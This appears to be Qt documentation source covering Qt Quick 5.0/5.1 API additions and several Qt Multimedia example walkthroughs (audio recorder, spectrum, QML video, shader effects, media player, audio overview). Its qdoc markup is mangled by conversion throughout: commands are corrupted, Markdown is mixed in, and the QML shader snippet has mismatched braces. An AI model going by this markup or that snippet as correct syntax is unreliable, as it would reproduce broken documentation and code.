\li New \l Grid properties: `horizontalAlignment`, `verticalAlignment`, and `effectiveHorizontalAlignment`.

\li New \l TextEdit properties: `selectByKeyboard` and `textDocument`

\li A \l Window declared inside another Window or \l Item will automatically be transient for (centered upon) the outer window.

\li These types are now part of \l{Qt QML}:

\list

\li \l {VisualItemModel}

\li \l {VisualDataModel} - Encapsulates a model and a delegate

\li \l {VisualDataGroup}

\endlist

These types are kept due to compatibility reasons and are replaced by the

\l{Qt QML Models QML Types}{Qt QML Models} types.

\endlist

## \section2 New Submodules

In Qt 5.1, there are several new modules which extend Qt Quick functionalities.

\list

\li \l{Qt Quick Dialogs} - contains types for creating and interacting with system dialogs

\li \l{Qt Quick Controls} - provides a set of reusable UI components

\li \l{Qt Quick Layouts} - contains types that are used to arrange items in the user interface

\endlist

The \l{What's New in Qt 5.1} has more information about the Qt 5.1 release.

## \section1 Qt Quick in Qt 5.0

The \l {Qt Quick} module is new in Qt 5. It provides the visual canvas and scenegraph back-end as well as the \c QtQuick QML module for QML application development.

As of Qt 5, the `\l {Qt Quick}` module is based on an OpenGL scenegraph. Many of the classes in the `\l {Qt Quick}` module have been ported from the `\l {Qt Quick 1}{QtDeclarative}` module from Qt 4.8 to use the scenegraph architecture; these classes have been renamed to use a `\c QQuick*` prefix. (See the `\l {Porting QML Applications to Qt 5}` for porting information.)

The following classes provide the basic functionality for interacting with the QML visual canvas from C++:

`\list`

`\li QQuickItem` - the base visual QML type (replaces `\c QDeclarativeItem`)

`\li QQuickView` - a convenience window for rendering a QML scene from a QML file (replaces `\c QDeclarativeView`)

`\li QQuickWindow` - a base window for displaying a QML scene

`\li QQuickPaintedItem` - convenience for using the QPainter API with the scenegraph

`\li QQuickImageProvider` - fetches custom images for use in QML applications (replaces `\c QDeclarativeImageProvider`)

`\li QQuickTextureFactory` - use with `QQuickImageProvider::requestTexture()`

`\endlist`

Custom rendering can be performed on the scenegraph using the following new classes:

`\list`

`\li QSGNode`

`\li QSGMaterial`

- \li QSGBasicGeometryNode
- \li QSGGeometryNode
- \li QSGClipNode
- \li QSGTransformNode
- \li QSGOpacityNode
- \li QSGFlatColorMaterial
- \li QSGSimpleRectNode
- \li QSGSimpleTextureNode
- \li QSGTexture
- \li QSGDynamicTexture
- \li QSGOpaqueTextureMaterial
- \li QSGTextureMaterial
- \li QSGTextureProvider
- \li QSGVertexColorMaterial

\endlist

## \section1 Qt 5.0 - QtQuick QML Module

The \c {QtQuick 2.0} QML module is a major update.

Below are the additions in \c {QtQuick 2.0}. For a list of behavioral changes which may affect applications ported from \c {QtQuick 1.x}, see the \l {Porting QML Applications to Qt 5}.

## \section2 Visual types, Graphical Effects and Sprites

\list

\li New \l Canvas type for drawing. This provides an API similar to that of the HTML5 Canvas API, along with some additional features.

\list

\li Supports two render targets: \c Canvas.Image and \c Canvas.FramebufferObject.

\li Supports background thread rendering.

\li Supports tiled canvas rendering.

\li Supports most of the HTML5 context2d APIs.

\endlist

\li \l Item:

\list

\li New \l{Item::}{layer.enabled} property enables an item to be rendered into an offscreen cache for optimization.

\li New \l{Item::}{contains()} method returns whether an item contains a specified point.

\li New \l{Item::}{anchors.alignWhenCentered} property can force centered anchors to align on a whole pixel.

\li New \l{Item::}{enabled} property is available, which stops input event delivery and removes active focus.

\endlist

\li \l Image:

\list

\li New \l{Image::}{horizontalAlignment} and \l{Image::}{verticalAlignment} properties to set the image alignment.

\li New \c Image.Pad enumeration value for \l{Image::}{fillMode} that does not transform the image, unlike other \l{Image::}{fillMode} enumeration values.

\endlist

\li New ShaderEffect and ShaderEffectSource types enable GLSL shader programs to be integrated directly into QML code and applied to QML items and images. (This obsoletes the experimental Qt.labs.shaders module.)

\li New SpriteSequence type renders animated sprites and can transition between animations. Each animation in a sequence is represented by the new \l Sprite type.

\li New AnimatedSprite type for drawing single sprite animations.

\endlist

## \section2 Animations and Transitions

\list

\li New AnimationController type enables an animation to be manually driven by a \l{AnimationController::}{progress} value.

\li New PathAnimation type animates an item along a \l Path.

\li New PathInterpolator type provides updated attribute values for an item animating along a path. It can be used as an low-level alternative to PathAnimation.

\li \l Transition:

\list

\li New \l{Transition::}{running} property holds whether a transition is currently running.

\li New \l{Transition::}{enabled} property controls whether a transition is enabled.

\endlist

\endlist

## `\section2 Paths`

`\list`

`\li` New `PathArc` type creates an arc-type path.

`\li` New `PathCurve` type creates a catmull-rom curve path.

`\li` New `PathSvg` type creates a path from a SVG string.

`\li` Changes common to `PathLine`, `PathQuad` and `PathCubic`:

`\list`

`\li` New `\c relativeX` and `\c relativeY` properties define the start and end points of a path relative to its start.

`\endlist`

`\li` `PathCubic` only:

`\list`

`\li` New `\l{PathCubic::}{relativeControl1X}`, `\l{PathCubic::}{relativeControl1Y}`,  
`\l{PathCubic::}{relativeControl2X}` and `\l{PathCubic::}{relativeControl2Y}` properties define the positions of the control points relative to the start of the curve.

`\endlist`

`\li` `PathQuad` only:

`\list`

`\li` New `\l{PathQuad::}{relativeControlX}` and `\l{PathQuad::}{relativeControlY}`  
define the positions of the control points relative to the start of the curve.

`\endlist`

`\endlist`

## `\section2 Text`

\list

\li Changes common to \l Text, TextEdit and TextInput:

\list

\li New \c contentWidth and \c contentHeight properties provide the dimensions of the textual content.

\li New \c effectiveHorizontalAlignment property provides the read-only actual horizontal alignment.

\endlist

\li Changes common to both TextEdit and TextInput:

\list

\li New \c canUndo and \c canRedo properties specify whether undo and redo operations are available.

\li New \c getText() method returns the text located between specified start and end indexes.

Additionally TextEdit has a \l{TextEdit::}{getFormattedText()} method that returns the formatted text.

\endlist

\li \l Text only:

\list

\li \c Text.RightElide is now supported where text spans multiple lines.

\li New \l{Text::}{linkColor} property controls the color of linked text.

\li New \l{Text::}{lineLaidOut} signal is emitted for every line during the layout process to give the option of positioning and/or resizing lines as they are laid out.

\li New \l{Text::}{doLayout()} method will trigger the text layout from Javascript.

\li New \l{Text::}{fontSizeMode} property allows text to be fitted to the item size.

\li New \l{Text::}{minimumPixelSize} and \l{Text::}{minimumPointSize} properties can be used to specify a lower bound when auto-fitting.

\endlist

\li TextEdit only:

\list

\li New \l{TextEdit::}{baseUrl} property specified the base URL used to resolve relative URLs within the text.

\endlist

\li TextInput only:

\list

\li New \l{TextInput::}{wrapMode} property sets the text wrapping mode.

\li New \l{TextInput::}{horizontalAlignment} and \l{TextInput::}{verticalAlignment} properties.

\li New \l{TextInput::}{length} property provides the total number of text characters.

\li New \l{TextInput::}{persistentSelection} property enables the text selection to persist when the window loses focus.

\li \l{TextInput::}{positionAt()} method now takes a y parameter.

\endlist

\endlist

\section2 User Input

\list

\li New MultiPointTouchArea type processes multi-point touches and provides information on touch points including position, pressure and velocity. Touch point data is provided by the new \l TouchPoint type.

\li New DropArea type provides more advanced drag and drop functionality.

\li MouseArea:

\list

\li Wheel events are now supported; events are provided through the new WheelEvent type.

\li New \l{MouseArea::}{propagateComposedEvents} property sets whether composed events are propagated to other mouse areas. If this property is true and the handlers of the \l{MouseArea::}{clicked}, \l{MouseArea::}{doubleClicked} or \l{MouseArea::}{pressAndHold} signals reject a mouse event, the event will be propagated to overlapping MouseArea items in the same area that are lower in the stacking order.

\li New \l{MouseArea::}{cursorShape} property controls the cursor shape.

\endlist

\endlist

## \section2 Specialized Containers

\list

\li Flickable:

\list

\li New \l{Flickable::}{rebound} property specifies the transition to be applied when a flickable snaps back to its bounds.

\li New \l{Flickable::}{topMargin}, \l{Flickable::}{bottomMargin}, \l{Flickable::}{leftMargin}, \l{Flickable::}{rightMargin} allow extra margin space to be specified for a flickable. This can be used, for example, to implement pull-to-refresh functionality for a list.

\li New \l{Flickable::}{originX} and \l{Flickable::}{originY} properties provide the top left position of the content item.

- New `Flickable.dragging`, `Flickable.draggingHorizontally` and

- `Flickable.draggingVertically` properties provide information on whether a flickable is currently being dragged.

- New `Flickable.flick()` method flicks the view with a specific velocity.

- New `Flickable.cancelFlick()` method stops any current flicking movement.

- 

- 

## Section 2 Positioners (Row, Column, Grid, Flow types):

- 

- Changes common to Row, Column, Grid and Flow:

- 

- The `add` and `move` transitions can access a new `ViewTransition` attached property (see the `ViewTransition` documentation for examples) and can now animate arbitrary item properties (instead of being restricted to animating an item's position).

- New `effectiveLayoutDirection` property provides the read-only actual layout direction of a positioner.

- New `Positioner` type provides `index`, `isFirstItem` and `isLastItem` attached properties for items within positioners.

- All `spacing` properties on positioners now use real numbers instead of integers.

- 

- Grid only:

- 

- New `Grid.rowSpacing` and `Grid.columnSpacing` properties.

\endlist

\endlist

## \section2 Models and Views

\list

\li Any delegate of a view that uses a QAbstractItemModel-derived model type can use the syntax

\c {model.<role> = <newDataValue>} to modify the data for a particular role. (Previously, the \c {model.<role>} syntax was only available for reading, not writing to, a role value.)

\li ListModel:

\list

\li By default, roles can no longer change type during a model's lifetime. The new

\l{ListModel::}{dynamicRoles} property can be set to restore the original (less performant) behavior.

\endlist

\li VisualDataModel:

\list

\li Now has features to filter the items to be displayed in a view. This is supported by the new

\l {VisualDataModel::}{groups}, \l {VisualDataModel::}{filterOnGroup}, \l {VisualDataModel::}{items} and \l {VisualDataModel::}{persistedItems} properties.

\endlist

\li Changes common to both ListView and GridView:

\list

\li New transition support for animating the adding, removing and moving of items in a ListView or GridView. See the ViewTransition documentation for details.

- \li New \c verticalLayoutDirection property enables items to be laid out from bottom-to-top using the new \c BottomToTop enumeration value.

- \li New \c headerItem and \c footerItem properties provide access to the instantiated header and footer items.

- \li The \c cacheBuffer property now has a non-zero default.

- \li Delegates in the cache buffer are now created asynchronously.

- \li Setting a \c RightToLeft layout now also reverses the \c preferredHighlightBegin and \c preferredHighlightEnd.

- \li If the model is changed after the component is completed, currentIndex is reset to 0.

- \endlist

- \li ListView only:

- \list

- \li New \l{ListView::}{section.labelPositioning} property can fix the current section label to the start of the view, and the next section label to the end of the view, to prevent labels from scrolling while section items are still in view.

- \li \c highlightMoveSpeed and \c highlightResizeSpeed have been renamed to \l{ListView::}{highlightMoveVelocity} and \l{ListView::}{highlightResizeVelocity}.

- \endlist

- \li GridView only:

- \list

- \li \l{GridView::}{cellWidth} and \l{GridView::}{cellHeight} now use real numbers instead of integers.

- \endlist

- \li PathView:

- \list

- \li New \l{PathView::}{currentItem} property holds the current item in the view.

- \li New \l{PathView::}{maximumFlickVelocity} property controls the maximum flick velocity of the view.

- \li New \l{PathView::}{snapMode} property controls the snap model when flicking between items

- \li If the model is changed after the component is completed, the offset and currentIndex are reset to 0.

- \li New \l{PathView::}{positionViewAtIndex()} function allows the view to be moved to display the specified index.

- \li New \l{PathView::}{indexAt()} and \l{PathView::}{itemAt()} functions return the index or item at a specified point in the view.

- \endlist

- \endlist

## \section2 Utility types

- \list

- \li New \l Accessible attached property for implementing accessibility features in QML applications.

- \li \l Loader:

- \list

- \li New \l{Loader::}{asynchronous} property allows components to be instantiated with lower chance of blocking. If source is used with \e {asynchronous: true} the component will be compiled in

- \li a background thread.

- \li New \l{Loader::}{active} property can delay instantiation of a \l Loader object's \l{Loader::}{item}.

- \li New \l{Loader::}{setSource()} method loads an object with specific initial property values,

similar to `\l Component::createObject()`.

`\endlist`

`\li \l Binding:`

`\list`

`\li` This type can now be used as a value source, and will also restore any previously set

binding when its `\l{Binding::}{when}` clause becomes false.

`\endlist`

`\endlist`

## `\section2` Property types

Support for various math and geometry-related value types, including `QVector2D`, `QVector3D`, `QVector4D`,

`QMatrix4x4` and `QQuaternion`, as well as `QColor` and `QFont`, are now provided by `\l {Qt Quick}`.

Properties of

these types can be declared in QML documents via the property syntax where the type name is `\c vector2d`,

`\c vector3d`, `\c vector4d`, `\c matrix4x4`, `\c quaternion`, `\c color` and `\c font` respectively.

`\l {Qt Quick}` also provides implementation for the various value type factory or utility functions of the

`\c Qt` object which return or operate on values of the above types. The functions are:

`\table`

`\header`

`\li` Value type

`\li` Functions

`\row`

- \li color

- \li Qt.rgba(), Qt.hsla(), Qt.tint(), Qt.lighter(), Qt.darker(), Qt.colorEqual()

- \row

- \li font

- \li Qt.font(), Qt.fontFamilies()

- \row

- \li vector2d

- \li Qt.vector2d()

- \row

- \li vector3d

- \li Qt.vector3d()

- \row

- \li vector4d

- \li Qt.vector4d()

- \row

- \li matrix4x4

- \li Qt.matrix4x4()

- \row

- \li quaternion

`\li Qt.quaternion()`

`\endtable`

The `\c Qt.rgb()`, `\c Qt.hsl()`, `\c Qt.tint()`, `\c Qt.lighter()`, `\c Qt.darker()` and `\c Qt.fontFamilies()` functions already existed in `\l {Qt Quick 1}{QtDeclarative}` prior to `\l {Qt Quick}{Qt Quick 2}`; the other functions are all new in `\l {Qt Quick}{Qt Quick 2}`.

## `\section1 Qt 5.0 - Additional QML Modules`

### `\section2 QtQuick.Particles`

This new module provides particle system support for creating a variety of 2D particle systems. See the `\l QtQuick.Particles` documentation for comprehensive details.

This obsoletes the experimental `\c Qt.labs.particles` module.

### `\section2 QtQuick.Window`

This new module contains the `\l Window` type for creating a basic window and the `\l Screen` type for accessing a screen's resolution and other details. See the `\l QtQuick.Window` documentation for comprehensive details.

### `\section2 QtQuick.XmlListModel`

This new module contains `XmlListModel` and associated types, which were previously in the `\c QtQuick`

module. See the \l QtQuick.XmlListModel documentation for details.

## \section2 QtQuick.LocalStorage

This new module provides access to the SQL Local Storage API that was previously accessible from the \l {QML Global Object}. See the \l QtQuick.LocalStorage documentation for details.

\example audiorecorder

\title Audio Recorder Example

\ingroup multimedia\_examples

\brief Discovering the available devices and supported codecs.

\e{Audio Recorder} demonstrates how to identify the available devices and supported codecs, and the use of QAudioRecorder class.

\image audiorecorder.png

\include examples-run.qdocinc

\section1 Displaying the Window and Audio Settings

We display a window for the user to select the appropriate audio input, codec, container, and sample rate. Allow a setting of either quality or bitrate. Finally, the output file can be selected and recording can be started.

The lists are setup using the `QAudioRecorder::audioInputs()`, `QAudioRecorder::supportedAudioCodecs()`, `QAudioRecorder::supportedContainers()`, `QAudioRecorder::supportedContainers()`, and `QAudioRecorder::supportedAudioSampleRates()` methods. The quality slider is setup from 0 (zero) to `QMultimedia::VeryHighQuality` with a default value of `QMultimedia::NormalQuality`, while the bitrates are hardcoded into the list.

## Recording Audio

To record audio we simply create a `QAudioRecorder` object.

```
\code
audioRecorder = new QAudioRecorder(this);
\endcode
```

And setup the lists as described above. The text on the record and pause buttons are toggled depending on the `QMediaRecorder::State` of the `audioRecorder` object. This means that if the state is `QMediaRecorder::StoppedState` then the button text will be "Record" and "Pause". In `QMediaRecorder::RecordingState` the record button will have the text "Stop", and in `QMediaRecorder::PausedState` the pause button

will have the text "Resume".

Pressing the buttons will also result in a toggle based on the state. If recording is stopped, then pressing the record button will setup the `QAudioEncoderSettings` based on the values of the selection lists, will set the encoding settings and container on the `audioRecorder` object, and start recording using the `QMediaRecorder::record()` method.

`\code`

```
QAudioEncoderSettings settings;

settings.setCodec(boxValue(ui->audioCodecBox).toString());

settings.setSampleRate(boxValue(ui->sampleRateBox).toInt());

settings.setBitRate(boxValue(ui->bitrateBox).toInt());

settings.setQuality(QMultimedia::EncodingQuality(ui->qualitySlider->value()));

settings.setEncodingMode(ui->constantQualityRadioButton->isChecked() ?
    QMultimedia::ConstantQualityEncoding :
    QMultimedia::ConstantBitRateEncoding);

QString container = boxValue(ui->containerBox).toString();

audioRecorder->setEncodingSettings(settings, QVideoEncoderSettings(), container);

audioRecorder->record();
```

`\endcode`

While recording, the status bar of the application is updated with duration information from the `\l{QMediaRecorder::durationChanged()}{durationChanged}` signal from the `\c audioRecorder` object.

`\code`

```
ui->statusbar->showMessage(tr("Recorded %1 sec").arg(duration / 1000));
```

`\endcode`

\example spectrum

\title Spectrum Example

\ingroup multimedia\_examples

\brief Analyzing a raw audio stream using the FFTReal library.

\e Spectrum demonstrates how the \{Qt Multimedia} module can be used to analyze an audio stream while recording it, and also play the recorded stream.

\image spectrum-demo.png

Because Qt Multimedia allows the application to access the raw audio stream, the data can either be inspected or modified by the application.

The Spectrum Analyzer example displays three pieces of information while audio is being either captured or played back:

\list

\li Information about the raw audio stream, shown in the uppermost widget:

\list

\li The amount of data currently in the buffer, shown in blue

\li The segment of data which was most recently analysed to compute  
the frequency spectrum, shown in green

\li The raw audio waveform, shown in white and scrolling from right to  
left

\endlist

\li A representation of the frequency spectrum, shown at the lower left

\li The current RMS level of the audio stream, and the recent 'high  
watermark' level, shown at the lower right

\endlist

Spectrum analysis is performed by calculating the Fast Fourier Transform  
(FFT) of a segment of audio data. An open-source library,  
\l{<http://ldesoras.free.fr/prod.html>}{FFTReal}, against which the  
application is dynamically linked, is used to compute the transform.

\example video/qmlvideo

\title QML Video Example

\ingroup multimedia\_examples

\brief Transforming video and camera viewfinder content.

\e{QML Video} demonstrates the various transformations (move; resize; rotate; change aspect ratio) that can be applied to QML \I VideoOutput and \I Camera types.

It also shows how native code can be combined with QML to implement more advanced functionality - in this case, C++ code is used to calculate the QML frame rate. This value is rendered in QML in a semi-transparent item overlaid on the video content.

The following image shows the application executing the video-overlay scene, which creates a dummy overlay item (just a semi-transparent \I{Rectangle}), which moves across the \I{VideoOutput} item.

\image qmlvideo-overlay.jpg

\include examples-run.qdocinc

\section1 Application Structure

The \I{video/qmlvideo/qml/qmlvideo/main.qml} file creates a UI which includes the following items:

\list

- \li Two \code{video/qmlvideo/qml/qmlvideo/Button.qml}{Button} instances, each of which displays a filename, and can be used to launch a \code{video/qmlvideo/qml/qmlvideo/FileBrowser.qml}{FileBrowser}
- \li An exit \code{video/qmlvideo/qml/qmlvideo/Button.qml}{Button}
- \li A \code{video/qmlvideo/qml/qmlvideo/SceneSelectionPanel.qml}{SceneSelectionPanel}, which is a flickable list displaying the available scenes
- \li At the lower left, an item which displays the QML repainting rate - the upper number is the instantaneous frame rate and the lower number is the average over the past second.

\endlist

\image qmlvideo-menu.jpg

Each scene in the flickable list is implemented in its own QML file - for example the video-basic scene (which just displays a static \code{VideoOutput} in the center of the screen) is implemented in the

\code{video/qmlvideo/qml/qmlvideo/VideoBasic.qml}{VideoBasic.qml} file. As you

can see from the code, this makes use of a type of inheritance: a

\code{video/qmlvideo/qml/qmlvideo/VideoBasic.qml}{VideoBasic} item ...

\code{fromfile video/qmlvideo/qml/qmlvideo/VideoBasic.qml}

\code{skipto import}

\code{printuntil /\^\\}/

... is-a

\{\video/qmlvideo/qml/qmlvideo/SceneBasic.qml\}{SceneBasic} ...

\quotefromfile video/qmlvideo/qml/qmlvideo/SceneBasic.qml

\skipto import

\printuntil contentType

\dots

\skipto Content

\printuntil content

\dots

\skipto }

\printuntil /\^\/

... which is-a

\{\video/qmlvideo/qml/qmlvideo/Scene.qml\}{Scene}:

\quotefromfile video/qmlvideo/qml/qmlvideo/Scene.qml

\skipto import

\printuntil root

\dots

\skipto property QObject content

\printuntil content

\dots

\skipto Button

\printuntil /\^\/

`\{video/qmlvideo/qml/qmlvideo/SceneBasic.qml\}``{SceneBasic}` describes the structure and behaviour of the scene, but is agnostic of the type of content which will be displayed - this is abstracted by `\{video/qmlvideo/qml/qmlvideo/Content.qml\}``{Content}`.

This pattern allows us to define a particular use case (in this case, simply display a static piece of content), and then instantiate that use case for both video content

(`\{video/qmlvideo/qml/qmlvideo/VideoBasic.qml\}``{VideoBasic}`) and camera content (`\{video/qmlvideo/qml/qmlvideo/CameraBasic.qml\}``{CameraBasic}`). This approach is used to implement many of the other scenes - for example, "repeatedly slide the content from left to right and back again" is implemented by `\{video/qmlvideo/qml/qmlvideo/SceneMove.qml\}``{SceneMove}`, on which `\{video/qmlvideo/qml/qmlvideo/VideoMove.qml\}``{VideoMove}` and `\{video/qmlvideo/qml/qmlvideo/CameraMove.qml\}``{CameraMove}` are based.

Depending on the value of the `contentType` property in the top-level scene instance, the embedded

`\{video/qmlvideo/qml/qmlvideo/Content.qml\}``{Content}` item creates either a `\{MediaPlayer\}` or a `\{Camera\}` item.

## `\section1 Calculating and Displaying QML Painting Rate`

`\input multimedia/doc/src/examples/video-qml-paint-rate.qdocinc`

All that remains is to connect the `afterRendering()` signal of the `QQuickView` object to a JavaScript function, which will eventually call `frequencyItem.notify()`:

```
\quote from file video/qmlvideo/main.cpp
```

```
\skipto QGuiApplication
```

```
\printuntil ;
```

```
\dots
```

```
\skipto QQuickItem
```

```
\printuntil ;
```

```
\dots
```

```
\skipto QObject::connect
```

```
\printuntil SLOT(qmlFramePainted()));
```

```
*/

\example video/qmlvideofx

\title QML Video Shader Effects Example

\ingroup multimedia\_examples

\brief Applying shader effects on video and camera viewfinder content.

\include examples-run.qdocinc

## \section1 Overview

\e{QML Video Shader Effects} demonstrates how a \I ShaderEffect can be used to apply postprocessing effects, expressed in GLSL, to QML \I VideoOutput type.

It also shows how native code can be combined with QML to implement more advanced functionality - in this case, C++ code is used to calculate the QML frame rate. This value is rendered in QML in a semi-transparent item overlaid on the video content.

The following screenshots show shader effects being applied. In each case, the effect is implemented using a fragment shader.

Here we see an edge detection algorithm being applied to a video clip

(\I{<http://durian.blender.org/>}{Sintel from blender.org}).

\image qmlvideofx-video-edgedetection.jpg

This image shows a page curl effect, applied to the same video clip.

\image qmlvideofx-video-pagecurl.jpg

Here we see a 'glow' effect (edge detection plus colour quantization) being applied to the camera viewfinder.

\image qmlvideofx-camera-glow.jpg

This image shows a 'wobble' effect applied to the viewfinder.

`\image qmlvideofx-camera-wobble.jpg`

The application includes many more effects than the ones shown here - look for `Effect*.qml` files in the list of files below to see the full range.

## `\section1` Application structure

Shader effects can be applied to video or viewfinder content using `{ShaderEffect}`, as shown in the following example, which applies a wiggly effect to the content:

`\code`

```
import QtQuick 2.0
```

```
import QtMultimedia 5.0
```

```
Rectangle {
```

```
    width: 300
```

```
    height: 300
```

```
    color: "black"
```

```
    MediaPlayer {
```

```
        id: mediaPlayer
```

```
        source: "test.mp4"
```

```
    playing: true
}
```

```
VideoOutput {
    id: video
    anchors.fill: parent
    source: mediaPlayer
}
```

```
ShaderEffect {
    property variant source: ShaderEffectSource { sourceItem: video; hideSource: true }
    property real wiggleAmount: 0.005
    anchors.fill: video

    fragmentShader: "
        varying highp vec2 qt_TexCoord0;

        uniform sampler2D source;

        uniform highp float wiggleAmount;

        void main(void)
        {
            highp vec2 wiggledTexCoord = qt_TexCoord0;

            wiggledTexCoord.s += sin(4.0 * 3.141592653589 * wiggledTexCoord.t) * wiggleAmount;

            gl_FragColor = texture2D(source, wiggledTexCoord.st);
        }
    "
}
```

```
}  
}  
\endcode
```

In this application, the usage of the `\{ShaderEffect}` and `\{VideoOutput}` types is a bit more complicated, for the following reasons:

```
\list
```

- \li Each effect can be applied to either a `\{VideoOutput}` or an `\{Image}` item, so the type of the source item must be abstracted away from the effect implementation
- \li For some effects (such as the edge detection and glow examples shown in the screenshots above), the transformation is applied only to pixels to the left of a dividing line - this allows the effect to be easily compared with the untransformed image on the right
- \li Most effects have one or more parameters which can be modified by the user - these are controlled by sliders in the UI which are connected to uniform values passed into the GLSL code

```
\endlist
```

The abstraction of source item type is achieved by the

`\{video/qmlvideofx/qml/qmlvideofx/Content.qml\}`{Content}, which uses a `\{Loader}` to create either a `\{MediaPlayer}`, `\{Camera}` or `\{Image}`:

```
\quotefromfile video/qmlvideofx/qml/qmlvideofx/Content.qml
```

```
\skipto import
\printuntil {
\dots
\skipto Loader {
\printuntil }
\dots
\skipto function openImage
\printuntil "ContentImage.qml"
\skipto contentLoader.item.source
\printuntil path
\skipto }
\printuntil }
\skipto function openVideo
\printuntil "ContentVideo.qml"
\skipto contentLoader.item.mediaSource
\printuntil path
\skipto }
\printuntil }
\skipto function openCamera
\printuntil "ContentCamera.qml"
\skipto }
\printuntil }
\skipto /^}/
\printuntil }
```

Each effect is implemented as a QML item which is based on the `\{video/qmlvideofx/qml/qmlvideofx/Effect.qml\}`Effect}, which in turn is based on the `\{ShaderEffect\}`:

```
\quote from file video/qmlvideofx/qml/qmlvideofx/Effect.qml
```

```
\skipto import
```

```
\printuntil /\^\\}/
```

The interface of Effect allows for derived effects to specify the number of parameters which they support (and therefore the number of sliders which should be displayed), and whether a vertical dividing line should be drawn between transformed and untransformed image regions. As an example, here is the implementation of the pixelation effect. As you can see, the pixelation effect supports one parameter (which controls the pixelation granularity), and states that the divider should be displayed.

```
\quote from file video/qmlvideofx/qml/qmlvideofx/EffectPixelate.qml
```

```
\skipto import
```

```
\printuntil /\^\\}/
```

The main.qml file shows a

```
\{video/qmlvideofx/qml/qmlvideofx/FileOpen.qml\}FileOpen}, which allows
```

the user to select the input source and an EffectSelectionPanel

item, which lists each of the available shader effects. As described above, a

```
\{video/qmlvideofx/qml/qmlvideofx/Content.qml\}Content} item is used to load the
```

appropriate input and effect type. A

`\{video/qmlvideofx/qml/qmlvideofx/Divider.qml\}`{Divider} item draws the vertical dividing line, which can be dragged left / right by the user. Finally, a `\{video/qmlvideofx/qml/qmlvideofx/ParameterPanel.qml\}`{ParameterPanel} item renders the sliders corresponding to each effect parameter.

Here is the effect selection menu:

`\image qmlvideofx-effects-menu.jpg`

\example player

\title Media Player Example

\ingroup multimedia\_examples

\brief Playing audio and video.

\image mediaplayerex.jpg

\e{Media Player} demonstrates a simple multimedia player that can play audio and or video files using various codecs.

\include examples-run.qdocinc

The example uses a QMediaPlayer object passed into a QVideoWidget to control the video output. To give the application playlist capability we also use a QPlaylist object.

To activate the various functions such as play and stop on the dialog, the button clicked events emit the play() and stop() signals, which are connected to the play() and stop() slots of QMediaPlayer.

`\code`

```
connect(controls, SIGNAL(play()), player, SLOT(play()));  
connect(controls, SIGNAL(pause()), player, SLOT(pause()));  
connect(controls, SIGNAL(stop()), player, SLOT(stop()));
```

`\endcode`

We can get the volume (and set our user interface representation)

`\code`

```
controls->setVolume(player->volume());
```

`\endcode`

and we can make widget 'volume' changes change the volume

`\code`

```
connect(controls, SIGNAL(changeVolume(int)), player, SLOT(setVolume(int)));
```

`\endcode`

The example also allows us to change various video properties by means of the `QVideoWidget` object. We can go to Full Screen mode with a single button click, and back again. Or if we press the "Color Options" dialog button we can have access to more subtle influences. The dialog has a set of sliders so that we can change the brightness, contrast, hue and saturation of the video being watched. The `connect()` statements are in

pairs so that changes to either the user interface widget (the relevant slider) or the QVideoWidget object will update the other object.

\code

```
connect(brightnessSlider, SIGNAL(sliderMoved(int)), videoWidget,  
        SLOT(setBrightness(int)));  
  
connect(videoWidget, SIGNAL(brightnessChanged(int)),  
        brightnessSlider, SLOT(setValue(int)));  
  
  
connect(contrastSlider, SIGNAL(sliderMoved(int)), videoWidget,  
        SLOT(setContrast(int)));  
  
connect(videoWidget, SIGNAL(contrastChanged(int)), contrastSlider,  
        SLOT(setValue(int)));  
  
  
connect(hueSlider, SIGNAL(sliderMoved(int)), videoWidget,  
        SLOT(setHue(int)));  
  
connect(videoWidget, SIGNAL(hueChanged(int)), hueSlider,  
        SLOT(setValue(int)));  
  
  
connect(saturationSlider, SIGNAL(sliderMoved(int)), videoWidget,  
        SLOT(setSaturation(int)));  
  
connect(videoWidget, SIGNAL(saturationChanged(int)),  
        saturationSlider, SLOT(setValue(int)));
```

\endcode

\page audiooverview.html

\title Audio Overview

\brief Audio playback, recording and processing

\section1 Audio Features

Qt Multimedia offers a range of audio classes, covering both low and

high level approaches to audio input, output and processing. In

addition to traditional audio usage, the \{Qt Audio Engine QML Types}{Qt Audio Engine}

QML types offer high level 3D positional audio for QML applications.

See that documentation for more information.

## \section1 Audio Implementation Details

### \section2 Playing Compressed Audio

For playing media or audio files that are not simple, uncompressed audio, you can use the `QMediaPlayer` C++ class, or the `Audio` and `MediaPlayer` QML types.

The `QMediaPlayer` class and associated QML types are also capable of playing `{multimedia-playing-video}{video}`, if required. The compressed audio formats supported does depend on the operating system environment, and also what media plugins the user may have installed.

Here is how you play a local file using C++:

\snippet multimedia-snippets/media.cpp Local playback

You can also put files (even remote URLs) into a playlist:

\snippet multimedia-snippets/media.cpp Audio playlist

### \section2 Recording Audio to a File

For recording audio to a file, the `QAudioRecorder` class allows you to compress audio data from an input device and record it.

\snippet multimedia-snippets/media.cpp Audio recorder

### \section2 Low Latency Sound Effects

In addition to the raw access to sound devices described above, the `QSoundEffect` class (and `QSoundEffect` QML type) offers a slightly higher level way to play sounds. These classes allow you to specify a WAV format file which can then be played with low latency when necessary. Both `QSoundEffect` and `SoundEffect` have essentially the same API.

You can adjust the number of `QSoundEffect::loopCount()` loops a sound effect is played, as well as the `QSoundEffect::setVolume()` volume (or `QSoundEffect::setMuted()` muting) of the effect.

For older, Qt 4.x based applications `QSound` is also available. Applications are recommended to use `QSoundEffect` where possible.

## Monitoring Audio Data During Playback or Recording

The `QAudioProbe` class allows you to monitor audio data being played or recorded in the higher level classes like `QMediaPlayer`, `QCamera` and `QAudioRecorder`. After creating your high level class, you can simply set the source of the probe to your class, and receive audio buffers as they are processed. This is useful for several audio processing tasks, particularly for visualization or adjusting gain. You cannot modify the buffers, and they may arrive at a slightly different time than the media pipeline processes them.

Here's an example of installing a probe during recording:

```
\snippet multimedia-snippets/media.cpp Audio probe
```

## `\section2` Low Level Audio Playback and Recording

Qt Multimedia offers classes for raw access to audio input and output facilities, allowing applications to receive raw data from devices like microphones, and to write raw data to speakers or other devices. Generally these classes do not do any audio decoding, or other processing, but they can support different types of raw audio data.

The `QAudioOutput` class offers raw audio data output, while `QAudioInput` offers raw audio data input. Both classes have adjustable buffers and latency, so they are suitable for both low latency use cases (like games or VOIP) and high latency (like music playback). The available hardware determines what audio outputs and inputs are available.

## `\section3` Push and Pull

The low level audio classes can operate in two modes - `\c` push and `\c` pull. In `\c` pull mode, the audio device is started by giving it a `QIODevice`. For an output device, the `QAudioOutput` class will pull data from the `QIODevice` (using `\l QIODevice::read()`) when more audio data is required. Conversely, for `\c` pull mode with `QAudioInput`, when audio data is available then the data will be written directly to the `QIODevice`.

